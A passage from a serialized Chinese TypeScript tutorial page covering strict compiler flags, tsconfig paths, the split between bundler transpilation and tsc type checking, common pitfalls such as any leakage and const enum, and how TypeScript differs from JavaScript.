不是一个开关，而是",[17,106968,106969],{},"一揽子","——它同时打开：",[57,106972,106973,106983],{},[60,106974,106975],{},[63,106976,106977,106980],{},[66,106978,106979],{},"开关",[66,106981,106982],{},"管什么",[79,106984,106985,106998,107010,107020,107033,107043,107053,107067],{},[63,106986,106987,106991],{},[84,106988,106989],{},[22,106990,98034],{},[84,106992,106993,655,106995,106997],{},[22,106994,5858],{},[22,106996,5872],{}," 从各类型独立出来（第三章）",[63,106999,107000,107004],{},[84,107001,107002],{},[22,107003,96858],{},[84,107005,107006,107007,107009],{},"推断不出来的地方不许悄悄变 ",[22,107008,96855],{},"，要你显式写",[63,107011,107012,107017],{},[84,107013,107014],{},[22,107015,107016],{},"strictFunctionTypes",[84,107018,107019],{},"函数参数按逆变检查，函数类型更严格",[63,107021,107022,107027],{},[84,107023,107024],{},[22,107025,107026],{},"strictBindCallApply",[84,107028,107029,107032],{},[22,107030,107031],{},"bind\u002Fcall\u002Fapply"," 的参数类型要正确",[63,107034,107035,107040],{},[84,107036,107037],{},[22,107038,107039],{},"strictPropertyInitialization",[84,107041,107042],{},"类的非可选属性必须在构造函数里初始化",[63,107044,107045,107050],{},[84,107046,107047],{},[22,107048,107049],{},"noImplicitThis",[84,107051,107052],{},"不许出现「this 是 any」的函数",[63,107054,107055,107060],{},[84,107056,107057],{},[22,107058,107059],{},"useUnknownInCatchVariables",[84,107061,107062,107064,107065],{},[22,107063,1317],{}," 里的错误默认是 ",[22,107066,97142],{},[63,107068,107069,107074],{},[84,107070,107071],{},[22,107072,107073],{},"alwaysStrict",[84,107075,107076,107077],{},"每份产物顶部加 ",[22,107078,107079],{},"\"use strict\"",[11,107081,107082,107083,107088,107089,107091,107092,107094,107095,272,107097,107099,107100,161],{},"新项目",[17,107084,107085,107086],{},"必开 ",[22,107087,98048],{},"。老项目从 ",[22,107090,3193],{}," 往 ",[22,107093,1131],{}," 迁会一夜冒出成百上千条错，常见过渡法是先把 ",[22,107096,96858],{},[22,107098,98034],{}," 逐个单独打开、逐步修，最后收敛到 ",[22,107101,107102],{},"strict: true",[53,107104,107106,1901,107108,1901,107110],{"id":107105},"include-exclude-paths",[22,107107,30103],{},[22,107109,30116],{},[22,107111,106738],{},[1773,107113,107114,107134],{},[1662,107115,107116,107122,107123,17306,107125,107127,107128,272,107130,107133],{},[17,107117,107118,655,107120],{},[22,107119,30103],{},[22,107121,30116],{},"：告诉编译器「哪些文件参与类型检查」。默认包含项目下所有 ",[22,107124,35388],{},[22,107126,30116],{}," 里默认已有 ",[22,107129,4041],{},[22,107131,107132],{},"outDir","。范围外的文件即使被 import 也照样解析，但不会被当成「入口」单独检查。",[1662,107135,107136,107140,107141,107144,107145,161,107148,107153,107154,107157,107158,107161],{},[17,107137,107138],{},[22,107139,106738],{},"：模块路径别名，把 ",[22,107142,107143],{},"@\u002Futils\u002Ffoo"," 映射到 ",[22,107146,107147],{},"src\u002Futils\u002Ffoo",[17,107149,34382,107150,107152],{},[22,107151,106738],{}," 只影响编译器的类型解析，不影响运行时","——运行时还得靠打包器（Vite 的 ",[22,107155,107156],{},"resolve.alias","）或 Node 的 ",[22,107159,107160],{},"exports"," 真正解析。这是「TS 里能用别名、上线就找不到模块」的经典原因：两边都要配。",[53,107163,107165,107167],{"id":107164},"noemit-与增量构建项目引用",[22,107166,106741],{}," 与增量构建、项目引用",[1773,107169,107170,107182,107193],{},[1662,107171,107172,107177,107178,107181],{},[17,107173,107174],{},[22,107175,107176],{},"noEmit: true","：只做类型检查、",[17,107179,107180],{},"不产出 JS","。现代项目里这几乎是标配——见下一节。",[1662,107183,107184,107192],{},[17,107185,107186,1901,107189],{},[22,107187,107188],{},"incremental",[22,107190,107191],{},"tsBuildInfoFile","：把上次检查的缓存写盘，第二次只重查变动文件，加速。",[1662,107194,107195,107198,107199,107202],{},[17,107196,107197],{},"项目引用（composite + references）","：把大型仓库拆成多个 ",[22,107200,107201],{},"tsconfig","，各自独立、按依赖增量重建，monorepo 常用。",[53,107204,46691,107206,107208],{"id":107205},"为什么-noemit-打包器才是常见组合",[22,107207,106741],{}," + 打包器才是常见组合",[11,107210,107211,107212,107215],{},"核心答案回到第一章：",[17,107213,107214],{},"类型检查和转译是两件事","。现代工具链把这两件事分工给不同工具：",[1773,107217,107218,107227],{},[1662,107219,107220,107223,107224,161],{},[17,107221,107222],{},"打包器（Vite\u002Fesbuild\u002FSWC\u002Fwebpack）负责转译","：快，专门把 TS 擦成 JS、把模块打包，但它",[17,107225,107226],{},"不做完整的跨文件类型检查",[1662,107228,107229,107235],{},[17,107230,107231,107234],{},[22,107232,107233],{},"tsc --noEmit"," 或 IDE \u002F ESLint 负责类型检查","：慢但准确，专挑类型错误，不负责产生产物。",[11,107237,107238,107239,107241,107242,107244,107245,107248,107249,107251],{},"所以典型配置是 ",[22,107240,107176],{}," 让 ",[22,107243,96449],{}," 只当「类型守门员」，转译交给打包器。这也解释了为什么「类型明明报错、",[22,107246,107247],{},"vite dev"," 还照常跑」——因为跑起来的是打包器那份不检查类型的转译。真正把关靠 CI 里那条 ",[22,107250,107233],{},"。第十七章会把这个分工讲得更完整。",[48,107253,107255],{"id":107254},"十七工程实践与常见坑谁转译谁检查以及那份坑清单","十七、工程实践与常见坑：谁转译谁检查，以及那份坑清单",[11,107257,107258,107259,272,107262,161],{},"这一章把前面所有原理收到「工程现场」。先讲清楚 TS 在真实项目里和各种工具怎么分工配合，再列出那些「知道就躲得过、不知道就踩个够」的坑。它们大多源自第一章的两个事实——",[17,107260,107261],{},"类型会被擦除",[17,107263,107264],{},"类型检查与转译互不干涉",[4748,107266],{"height":14062,"src":107267,"title":107268},"\u002Ftutorials\u002Fts\u002Fdemos\u002F17-pitfalls.html","示例 17：常见坑清单——每一条都是真实报错样本",[53,107270,107272],{"id":107271},"谁做转译谁做检查vite-vue-react-node-的分工","谁做转译谁做检查：Vite \u002F Vue \u002F React \u002F Node 的分工",[11,107274,107275],{},"不同栈里，「把 TS 变成能跑的 JS」和「检查 TS 类型对不对」这两件事分别由谁干：",[57,107277,107278,107289],{},[60,107279,107280],{},[63,107281,107282,107284,107287],{},[66,107283,26236],{},[66,107285,107286],{},"转译（擦类型、产出）",[66,107288,96461],{},[79,107290,107291,107308,107321,107333,107344,107355],{},[63,107292,107293,107296,107302],{},[84,107294,107295],{},"Vite（纯 TS）",[84,107297,107298,107299,5149],{},"esbuild（极快，",[17,107300,107301],{},"不检查类型",[84,107303,107304,107305,107307],{},"需另跑 ",[22,107306,107233],{},"，或靠 IDE",[63,107309,107310,107313,107316],{},[84,107311,107312],{},"Vue + vue-tsc",[84,107314,107315],{},"Vite\u002Fesbuild",[84,107317,107318,107320],{},[22,107319,16845],{},"（模板里的类型也要查）",[63,107322,107323,107326,107329],{},[84,107324,107325],{},"React + Vite",[84,107327,107328],{},"esbuild \u002F SWC",[84,107330,107331],{},[22,107332,107233],{},[63,107334,107335,107338,107341],{},[84,107336,107337],{},"Node（ts-node \u002F tsx）",[84,107339,107340],{},"ts-node\u002Ftsx 即时擦除",[84,107342,107343],{},"看配置，默认可能不查",[63,107345,107346,107349,107352],{},[84,107347,107348],{},"Node 原生 type stripping",[84,107350,107351],{},"V8 直接抹类型跑",[84,107353,107354],{},"不做检查，纯转译",[63,107356,107357,107362,107367],{},[84,107358,107359,107361],{},[22,107360,96449],{}," 直接构建",[84,107363,107364,107366],{},[22,107365,96449],{}," 转译 + 检查一起做",[84,107368,107369],{},"就是它",[11,107371,107372,107373,107376,107377,107379,107380,107382,107383,107385],{},"结论只有一句：",[17,107374,107375],{},"跑得快的工具（esbuild\u002FSWC\u002FV8）通常只转译不检查","，所以「本地能跑」不等于「类型没问题」——完整检查必须由 ",[22,107378,107233],{},"（CI 里）或 IDE 提供。这也是 Vue 项目要专门用 ",[22,107381,16845],{}," 的原因：模板里的表达式普通 ",[22,107384,96449],{}," 看不到。",[53,107387,107389,107391],{"id":107388},"isolatedmodules-为什么需要",[22,107390,106388],{}," 为什么需要",[11,107393,107394,107395,107398,107399,107241,107402,107404],{},"打包器是",[17,107396,107397],{},"一个文件一个文件独立转译","的（它拿不到全局类型图），因此某些「需要跨文件才知道」的写法它处理不了。",[22,107400,107401],{},"isolatedModules: true",[22,107403,96449],{}," 提前拒掉这些写法，保证你的代码「每个文件都能被单独安全转译」。典型要求：",[1773,107406,107407,107415,107427],{},[1662,107408,107409,107410,655,107412,107414],{},"每个文件都得是真模块（有 ",[22,107411,4648],{},[22,107413,5219],{},"），别写会被当成全局脚本的文件。",[1662,107416,107417,107418,107420,107421,56421,107424,161],{},"重导出",[17,107419,8896],{},"要用 ",[22,107422,107423],{},"export type { T }",[22,107425,107426],{},"export { T }",[1662,107428,107429,107430,107432,107433,107435],{},"别用 ",[22,107431,97457],{}," 跨文件、别用只有 ",[22,107434,45872],{}," 里的运行时值等。",[11,107437,107438,107439,107441],{},"现代框架脚手架几乎都默认开它——它不是让你更严，而是让「",[22,107440,96449],{}," 检查通过」和「打包器转译行为」对齐，避免出现「tsc 说没问题、esbuild 转出来不对」的裂缝。",[53,107443,107445],{"id":107444},"eslint-与类型规则","ESLint 与类型规则",[11,107447,107448,107449,107452,107453,107456,107457,107460,107461,107463,107464,107466],{},"ESLint 负责 lint（代码风格、可疑写法、一致性），",[22,107450,107451],{},"@typescript-eslint"," 让它认识 TS 语法。其中一部分规则",[17,107454,107455],{},"需要类型信息","（如「禁止在非 thenable 上 await」「no-misused-promises」），要在 ESLint 配置里提供 ",[22,107458,107459],{},"parserOptions.project"," 指向 ",[22,107462,107201],{},"。分工：",[22,107465,107233],{}," 管「类型对不对」，ESLint 管「写法好不好」，两者互补，不重复。常见踩坑是类型感知规则让 lint 变慢——把重规则集中到 CI，本地跑轻量集是通行做法。",[53,107468,107470,107471,107473],{"id":107469},"坑一any-顺着返回值泄漏","坑一：",[22,107472,96855],{}," 顺着返回值泄漏",[11,107475,107476,107478,107479,107482,107483,107485,107486,161,107488,107490,107491,107494,107495,107498,107499,107501,107502,107504,107505,107507],{},[22,107477,96855],{}," 不只影响你标它的那一处，它会",[17,107480,107481],{},"沿着数据流传染","：一个返回 ",[22,107484,96855],{}," 的调用，你把结果再传给别的运算，那条链上的类型全塌成 ",[22,107487,96855],{},[22,107489,68917],{},"、部分老库、",[22,107492,107493],{},"(e: any)"," 事件都是源头。对策：在函数边界加返回注解（",[22,107496,107497],{},"const u: User = JSON.parse(s) as User"," 至少标明你要什么），开 ",[22,107500,96858],{}," 拦住隐式漏点，遇到 ",[22,107503,96855],{}," 尽量转成 ",[22,107506,97142],{}," 再收窄（第三章）。",[53,107509,107511],{"id":107510},"坑二结构化类型导致的假兼容","坑二：结构化类型导致的「假兼容」",[11,107513,107514,107515,107518],{},"第四章讲过 TS 看形状不看名字，副作用就是两个",[17,107516,107517],{},"语义完全不同、形状恰好一致","的类型可以互相赋值，编译器一声不吭：",[308,107520,107522],{"className":5205,"code":107521,"language":5207,"meta":314,"style":314},"type UserID = string\ntype OrderID = string\nfunction get(u: UserID) {}\nget(orderId)   \u002F\u002F ✓ 编译通过！但语义上是把订单号当用户号传了\n",[22,107523,107524,107535,107546,107562],{"__ignoreMap":314},[331,107525,107526,107528,107531,107533],{"class":333,"line":334},[331,107527,3628],{"class":616},[331,107529,107530],{"class":501}," UserID",[331,107532,957],{"class":616},[331,107534,99983],{"class":344},[331,107536,107537,107539,107542,107544],{"class":333,"line":341},[331,107538,3628],{"class":616},[331,107540,107541],{"class":501}," OrderID",[331,107543,957],{"class":616},[331,107545,99983],{"class":344},[331,107547,107548,107550,107552,107554,107556,107558,107560],{"class":333,"line":357},[331,107549,3047],{"class":616},[331,107551,87845],{"class":501},[331,107553,966],{"class":337},[331,107555,12374],{"class":2472},[331,107557,1180],{"class":616},[331,107559,107530],{"class":501},[331,107561,106236],{"class":337},[331,107563,107564,107566,107569],{"class":333,"line":371},[331,107565,2608],{"class":501},[331,107567,107568],{"class":337},"(orderId)   ",[331,107570,107571],{"class":1003},"\u002F\u002F ✓ 编译通过！但语义上是把订单号当用户号传了\n",[11,107573,107574,107575,107577,107578,107581],{},"两者都是 ",[22,107576,8909],{},"，TS 不拦。想制造「名义类型」的区分感，给类型加一个独有的品牌字段（branded type）：",[22,107579,107580],{},"type UserID = string & { readonly __brand: 'User' }","。否则别指望 TS 帮你区分「同为 string 的不同含义」。",[53,107583,107585,107586],{"id":107584},"坑三枚举的运行时成本与-const-enum","坑三：枚举的运行时成本与 ",[22,107587,97457],{},[11,107589,107590,107591,107593,107594,107596,107597,107599,107600,107602,107603,107606,107607,107609,107610,107616,107617,107619,107620,107622,107623,107625],{},"第三章说过 ",[22,107592,39459],{}," 会真实生成对象。普通 ",[22,107595,39459],{}," 的问题是有运行时体积、跨文件在 ",[22,107598,106388],{}," 下受限；",[22,107601,97457],{}," 想省体积（编译期直接把 ",[22,107604,107605],{},"Direction.Up"," 内联成 ",[22,107608,628],{},"，不生成对象），但",[17,107611,107612,107613,107615],{},"在打包\u002F分包场景 ",[22,107614,97457],{}," 坑更多","：内联要求编译器看到定义，esbuild\u002Fswc 各自独立转译时可能把 ",[22,107618,97457],{}," 当普通 enum 处理，行为不一致。这也是大量团队弃用 ",[22,107621,39459],{},"、改用「",[22,107624,97464],{}," 对象 + 联合字面量」的原因——零运行时、无内联歧义、还能窄化（第九章）。",[53,107627,107629,107630,107632],{"id":107628},"坑四import-type-与循环引用","坑四：",[22,107631,106296],{}," 与循环引用",[11,107634,107635,107636,107638,107639,107642,107643,107645],{},"类型之间会互相引用形成环（A 的类型用到 B，B 又用到 A）。纯类型循环对 ",[22,107637,96449],{}," 无害（编译期解析、运行时无物），但一旦有人用值形式 ",[22,107640,107641],{},"import { SomeType }"," 引入了运行时 import，就可能造出真实的模块循环、触发初始化顺序 bug。用 ",[22,107644,106296],{},"（第十五章）把「只是类型」的依赖和「真要在运行时取值」的依赖分开，循环就只存在于编译期、不会带进运行时。",[53,107647,107649],{"id":107648},"坑五过度断言","坑五：过度断言",[11,107651,107652,107653,272,107655,272,107657,107660,107661,107678],{},"第八章那句「断言是写给编译器的情书」在此回收。满屏 ",[22,107654,73430],{},[22,107656,1150],{},[22,107658,107659],{},"as unknown as","，等于亲手把类型系统关掉却以为还开着——编译器不再报错，但运行时报错照旧。",[17,107662,107663,107664,107666,107667,107669,107670,107672,107673,17306,107675,107677],{},"能用收窄（",[22,107665,24939],{}," 谓词）就别用 ",[22,107668,73430],{},"；能用 ",[22,107671,101144],{}," 就别用 ",[22,107674,73430],{},[22,107676,1150],{}," 只在确实无法表达的非空场景用","。断言是最后手段不是默认工具。",[53,107680,107682,107683,29688,107685,107687],{"id":107681},"坑六把-unknown-用-as-直接吃掉","坑六：把 ",[22,107684,97142],{},[22,107686,73430],{}," 直接吃掉",[11,107689,107690,107691,107693,107694,107696,107697,655,107699,107701,107702,107705,107706,107708,107709,5664,107711,107713,107714,161],{},"面对 ",[22,107692,97142],{},"（外部数据、",[22,107695,1317],{}," 错误），正确姿势是收窄验证（",[22,107698,62850],{},[22,107700,27385],{},"\u002F校验库）。最省事也最危险的做法是 ",[22,107703,107704],{},"const u = err as MyType"," 一步到「我以为的类型」——这等于绕过了 ",[22,107707,97142],{}," 特意设置的那道「先验再用」的闸，把不安全又塞回了系统。",[22,107710,97142],{},[22,107712,96855],{}," 的安全版（第三章），",[17,107715,107429,107716,107718,107719,107721],{},[22,107717,73430],{}," 把它退化回 ",[22,107720,96855],{}," 的效果",[48,107723,107725],{"id":107724},"十八typescript-与-javascript-的区别","十八、TypeScript 与 JavaScript 的区别",[11,107727,107728,107729,107732],{},"全课收口，回答三个终极问题：",[17,107730,107731],{},"「TS 是 JS 的超集」对不对、TS 会不会让程序变快、哪些 JS 代码原样搬进 TS 会报错。"," 先给一张维度对照大表，再逐条展开。",[4748,107734],{"height":4750,"src":107735,"title":107736},"\u002Ftutorials\u002Fts\u002Fdemos\u002F18-ts-vs-js.html","示例 18：TS 与 JS 的区别——同一份逻辑，两个世界",[53,107738,107740],{"id":107739},"一张总表维度-javascript-typescript-一句话备注","一张总表：维度 \u002F JavaScript \u002F TypeScript \u002F 一句话备注",[57,107742,107743,107758],{},[60,107744,107745],{},[63,107746,107747,107749,107752,107755],{},[66,107748,36604],{},[66,107750,107751],{},"JavaScript",[66,107753,107754],{},"TypeScript",[66,107756,107757],{},"一句话备注",[79,107759,107760,107773,107792,107806,107823,107837,107851,107875,107897,107913,107927,107946],{},[63,107761,107762,107764,107767,107770],{},[84,107763,36634],{},[84,107765,107766],{},"动态弱类型，运行时才定",[84,107768,107769],{},"静态强类型，编译期标注+推断",[84,107771,107772],{},"TS 的类型只在编译期存在",[63,107774,107775,107778,107783,107789],{},[84,107776,107777],{},"变量声明",[84,107779,107780],{},[22,107781,107782],{},"let\u002Fconst\u002Fvar",[84,107784,107785,107786,107788],{},"同左，可加 ",[22,107787,96712],{}," 注解",[84,107790,107791],{},"注解是「可加」不是「必加」",[63,107793,107794,107797,107800,107803],{},[84,107795,107796],{},"编译与运行",[84,107798,107799],{},"引擎直接执行源码",[84,107801,107802],{},"需转译成 JS 再执行",[84,107804,107805],{},"运行时永远跑的是 JS",[63,107807,107808,107811,107814,107820],{},[84,107809,107810],{},"工具链",[84,107812,107813],{},"引擎\u002F浏览器即可",[84,107815,107816,107817,107819],{},"多一层 ",[22,107818,96449],{},"\u002F打包器\u002F类型检查",[84,107821,107822],{},"见第十六、十七章分工",[63,107824,107825,107828,107831,107834],{},[84,107826,107827],{},"错误暴露时机",[84,107829,107830],{},"多在运行时",[84,107832,107833],{},"大量前移到编辑\u002F构建期",[84,107835,107836],{},"TS 的核心价值所在",[63,107838,107839,107842,107845,107848],{},[84,107840,107841],{},"重构安全性",[84,107843,107844],{},"靠人肉+全局搜",[84,107846,107847],{},"类型图兜底，改一处红一片",[84,107849,107850],{},"TS 最被低估的收益",[63,107852,107853,107856,107863,107872],{},[84,107854,107855],{},"文件后缀与模块",[84,107857,107858,655,107860],{},[22,107859,96480],{},[22,107861,107862],{},".mjs",[84,107864,107865,655,107867,655,107870],{},[22,107866,35388],{},[22,107868,107869],{},".tsx",[22,107871,96695],{},[84,107873,107874],{},"ESM 规则一致，多了类型文件",[63,107876,107877,107880,107886,107889],{},[84,107878,107879],{},"类与字段",[84,107881,107882,107883,107885],{},"标准 class、",[22,107884,20333],{}," 私有",[84,107887,107888],{},"加修饰符\u002F抽象\u002F参数属性",[84,107890,107891,107893,107894,107896],{},[22,107892,102244],{}," 是编译期，",[22,107895,20333],{}," 是运行期",[63,107898,107899,107902,107905,107910],{},[84,107900,107901],{},"运行时能力",[84,107903,107904],{},"完整 JS 引擎能力",[84,107906,107907],{},[17,107908,107909],{},"与 JS 完全相同，无增减",[84,107911,107912],{},"类型不带来任何新运行时能力",[63,107914,107915,107918,107921,107924],{},[84,107916,107917],{},"生态与学习成本",[84,107919,107920],{},"上手快、心智负担低",[84,107922,107923],{},"有学习曲线、类型体操的成本",[84,107925,107926],{},"换确定性要付出复杂度",[63,107928,107929,107932,107935,107938],{},[84,107930,107931],{},"可混合性",[84,107933,107934],{},"独立存在",[84,107936,107937],{},"可与 JS 共存、逐步迁移",[84,107939,107940,107942,107943,107945],{},[22,107941,35388],{}," 能 import ",[22,107944,96480],{},"（配 allowJs）",[63,107947,107948,107951,107954,107957],{},[84,107949,107950],{},"渐进采纳",[84,107952,107953],{},"无此概念",[84,107955,107956],{},"可从「几乎不写类型」起步",[84,107958,107959,107962],{},[22,107960,107961],{},"checkJs"," 关闭时 TS 项目也能纯放 JS",[11,107964,107965],{},"下面逐条把关键的几行讲透。",[53,107967,107969],{"id":107968},"ts-是不是-js-的超集对但只对了一半","TS 是不是 JS 的超集——对，但只对了一半",[11,107971,107972,107973,107976,107977,107979,107980,107983,107984,107987],{},"严格地说，",[17,107974,107975],{},"语法上 TS ⊇ JS","：任何合法 JS 文件改名 ",[22,107978,35388],{}," 都能被 TS 解析（JS 是 TS 的子集）。但「超集」这个词让人以为「TS = JS 的全部行为 + 额外的东西」，这有误导性：TS ",[17,107981,107982],{},"不新增任何运行时行为","，它新增的是",[17,107985,107986],{},"编译期的一层检查","。所以更准确的表述是：TS 是「JS + 一套会被擦除的静态类型语法 + 一个会在运行前挑毛病的检查器」。",[11,107989,107990,107991,107994,107995,107997,107998,108000,108001],{},"还有一个反直觉的事实（也是第三个问题的答案）：",[17,107992,107993],{},"并非所有 JS 都能原样塞进 TS 且不报错","。因为 TS 默认开 ",[22,107996,98048],{},"、开 ",[22,107999,96858],{},"，纯 JS 里那些「隐式 any、可能为 null 就直接用、参数没传全」的写法，在 TS 里会变成编译错误。也就是说：",[17,108002,108003],{},"JS 是 TS 语法上的子集，但一段典型的裸 JS 放进严格配置的 TS 里常常通不过类型检查。",[53,108005,108007],{"id":108006},"ts-会不会让程序跑得更快不会","TS 会不会让程序跑得更快——不会",[11,108009,108010,108011,108014,108015,108017,108018,108020,108021,108024],{},"程序实际执行的是擦除类型后的 JS，跟直接写 JS 的最终产物基本等价，",[17,108012,108013],{},"运行时性能没有提升","。恰恰相反，多出来的 ",[22,108016,96449],{},"\u002F类型检查是",[17,108019,11762],{},"的开销，让「改代码到能跑」这一环变慢（这也是把转译交给 esbuild、检查交给 tsc 的分工动机）。TS 换来的是「",[17,108022,108023],{},"人","的效率」——少 debug、少回归、重构敢下手——而不是「机器执行」的效率。谁指望加类型让接口变快，那是要失望的。",[53,108026,108028],{"id":108027},"哪些-js-代码原样放进-ts-会报错","哪些 JS 代码原样放进 TS 会报错",[11,108030,108031,108032,108034],{},"把这三类裸 JS 丢进 ",[22,108033,98048],{}," 的 TS，立刻红给你看，最能说明「类型检查改的是编译期，不是运行期」：",[308,108036,108038],{"className":5205,"code":108037,"language":5207,"meta":314,"style":314},"\u002F\u002F ① 隐式 any：参数没类型，noImplicitAny 直接拦\nfunction add(a, b) { return a + b }        \u002F\u002F ✗ a、b 隐式 any\n\n\u002F\u002F ② 可能为 null 却不判断：strictNullChecks 拦\nfunction greet(u) { return u.name.toUpperCase() }  \u002F\u002F 若 u: { name?: string } 则 name 可能 undefined\n\n\u002F\u002F ③ 给 const 重新赋值 \u002F 用了未声明的变量——这些 JS 运行时也炸，但 TS 提前在编辑期就标红\nconst x = 1; x = 2                          \u002F\u002F ✗ 对 const 赋值\ny = 10                                       \u002F\u002F ✗ 找不到 y（除非声明或挂全局）\n",[22,108039,108040,108045,108073,108077,108082,108107,108111,108116,108136],{"__ignoreMap":314},[331,108041,108042],{"class":333,"line":334},[331,108043,108044],{"class":1003},"\u002F\u002F ① 隐式 any：参数没类型，noImplicitAny 直接拦\n",[331,108046,108047,108049,108051,108053,108055,108057,108059,108061,108063,108065,108067,108070],{"class":333,"line":341},[331,108048,3047],{"class":616},[331,108050,28251],{"class":501},[331,108052,966],{"class":337},[331,108054,30],{"class":2472},[331,108056,409],{"class":337},[331,108058,22158],{"class":2472},[331,108060,31033],{"class":337},[331,108062,10859],{"class":616},[331,108064,31001],{"class":337},[331,108066,12714],{"class":616},[331,108068,108069],{"class":337}," b }        ",[331,108071,108072],{"class":1003},"\u002F\u002F ✗ a、b 隐式 any\n",[331,108074,108075],{"class":333,"line":357},[331,108076,998],{"emptyLinePlaceholder":997},[331,108078,108079],{"class":333,"line":371},[331,108080,108081],{"class":1003},"\u002F\u002F ② 可能为 null 却不判断：strictNullChecks 拦\n",[331,108083,108084,108086,108088,108090,108092,108094,108096,108099,108101,108104],{"class":333,"line":384},[331,108085,3047],{"class":616},[331,108087,64403],{"class":501},[331,108089,966],{"class":337},[331,108091,12374],{"class":2472},[331,108093,31033],{"class":337},[331,108095,10859],{"class":616},[331,108097,108098],{"class":337}," u.name.",[331,108100,65555],{"class":501},[331,108102,108103],{"class":337},"() }  ",[331,108105,108106],{"class":1003},"\u002F\u002F 若 u: { name?: string } 则 name 可能 undefined\n",[331,108108,108109],{"class":333,"line":397},[331,108110,998],{"emptyLinePlaceholder":997},[331,108112,108113],{"class":333,"line":418},[331,108114,108115],{"class":1003},"\u002F\u002F ③ 给 const 重新赋值 \u002F 用了未声明的变量——这些 JS 运行时也炸，但 TS 提前在编辑期就标红\n",[331,108117,108118,108120,108122,108124,108126,108129,108131,108133],{"class":333,"line":427},[331,108119,951],{"class":616},[331,108121,63067],{"class":344},[331,108123,957],{"class":616},[331,108125,30777],{"class":344},[331,108127,108128],{"class":337},"; x ",[331,108130,518],{"class":616},[331,108132,18023],{"class":344},[331,108134,108135],{"class":1003},"                          \u002F\u002F ✗ 对 const 赋值\n",[331,108137,108138,108141,108143,108145],{"class":333,"line":439},[331,108139,108140],{"class":337},"y ",[331,108142,518],{"class":616},[331,108144,49145],{"class":344},[331,108146,108147],{"class":1003},"                                       \u002F\u002F ✗ 找不到 y（除非声明或挂全局）\n",[11,108149,108150,108151,322,108154,272,108157,272,108159,272,108161,108163,108164,272,108166,655,108168,655,108170,108172,108173,108175],{},"反过来，",[17,108152,108153],{},"这些是「TS 有、JS 完全没有」的纯类型语法",[22,108155,108156],{},": 类型",[22,108158,96572],{},[22,108160,3628],{},[22,108162,96575],{}," 泛型、",[22,108165,39459],{},[22,108167,73430],{},[22,108169,101144],{},[22,108171,1150],{}," 断言、",[22,108174,92580],{},"。它们写出来 JS 根本不认，也正是转译时被擦掉的部分。",[53,108177,108178],{"id":108178},"一句话收尾",[11,108180,108181,108182,108185,108186,108189,108190,655,108192,108194],{},"TS 的全部故事，第一章就讲完了：",[17,108183,108184],{},"它把「运行时的不确定」变成「编辑时的红波浪线」","，代价是多一套工具链和一层要理解的类型规则。学 TS 不是学一门新语言，而是学",[17,108187,108188],{},"如何把你的意图，用类型这套语言讲给编译器听","——讲对了，它在运行前就替你把关；讲歪了（滥用 ",[22,108191,96855],{},[22,108193,73430],{},"），它就把闸放开、假装一切正常，把问题原样还给运行时。理解「类型擦除」和「检查与转译两件事」，你就拿到了后面所有细节的解释力。",[595,108196,108197],{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"title":314,"searchDepth":341,"depth":341,"links":108199},[108200,108205,108215,108230,108242,108251,108262,108277,108290,108301,108315,108324,108334,108349,108357,108369,108383,108399],{"id":96427,"depth":341,"text":96428,"children":108201},[108202,108203,108204],{"id":96442,"depth":357,"text":96443},{"id":96551,"depth":357,"text":96552},{"id":96621,"depth":357,"text":96622},{"id":96708,"depth":341,"text":108206,"children":108207},"二、第一个类型错误：注解语法 : T 与类型推断",[108208,108209,108210,108212,108214],{"id":96734,"depth":357,"text":96734},{"id":96866,"depth":357,"text":96866},{"id":96959,"depth":357,"text":108211},"let 推断成联合类型",{"id":97040,"depth":357,"text":108213},"const 的字面量窄化",{"id":97116,"depth":357,"text":97116},{"id":97129,"depth":341,"text":108216,"children":108217},"三、基础类型：string \u002F number \u002F boolean、数组与元组、枚举，以及 any \u002F unknown \u002F never",[108218,108219,108220,108222,108224,108226,108228],{"id":97161,"depth":357,"text":97161},{"id":97198,"depth":357,"text":97198},{"id":97353,"depth":357,"text":108221},"枚举：enum 与它的运行时代价",{"id":97527,"depth":357,"text":108223},"any：逃生舱，不是「未知类型」",{"id":97615,"depth":357,"text":108225},"unknown：安全的任意值",{"id":97824,"depth":357,"text":108227},"never：不可能到达",{"id":97947,"depth":357,"text":108229},"null \u002F undefined 与 void",{"id":98071,"depth":341,"text":108231,"children":108232},"四、对象类型与接口：type 与 interface 的差别",[108233,108234,108236,108238,108240,108241],{"id":98088,"depth":357,"text":98089},{"id":98204,"depth":357,"text":108235},"type 与 interface：该怎么选",{"id":98391,"depth":357,"text":108237},"可选属性 ?",{"id":98526,"depth":357,"text":108239},"只读 readonly 与 as const",{"id":98611,"depth":357,"text":98612},{"id":98713,"depth":357,"text":98713},{"id":98868,"depth":341,"text":98869,"children":108243},[108244,108246,108248,108249],{"id":98879,"depth":357,"text":108245},"联合类型 A | B：值要么是 A 要么是 B",{"id":98985,"depth":357,"text":108247},"交叉类型 A & B：同时满足两边",{"id":99092,"depth":357,"text":99093},{"id":99370,"depth":357,"text":108250},"穷尽检查：用 never 兜底",{"id":99558,"depth":341,"text":108252,"children":108253},"六、函数类型：参数、可选、剩余、重载与 this",[108254,108255,108256,108257,108258,108260],{"id":99572,"depth":357,"text":99572},{"id":64495,"depth":357,"text":64495},{"id":99814,"depth":357,"text":99814},{"id":99949,"depth":357,"text":99950},{"id":100081,"depth":357,"text":108259},"箭头函数与 this",{"id":100223,"depth":357,"text":108261},"void 与 undefined 作返回类型的差别",{"id":100263,"depth":341,"text":100264,"children":108263},[108264,108265,108267,108269,108271,108272,108274,108276],{"id":100277,"depth":357,"text":100278},{"id":100383,"depth":357,"text":108266},"typeof 收窄",{"id":100423,"depth":357,"text":108268},"in 收窄",{"id":100548,"depth":357,"text":108270},"instanceof 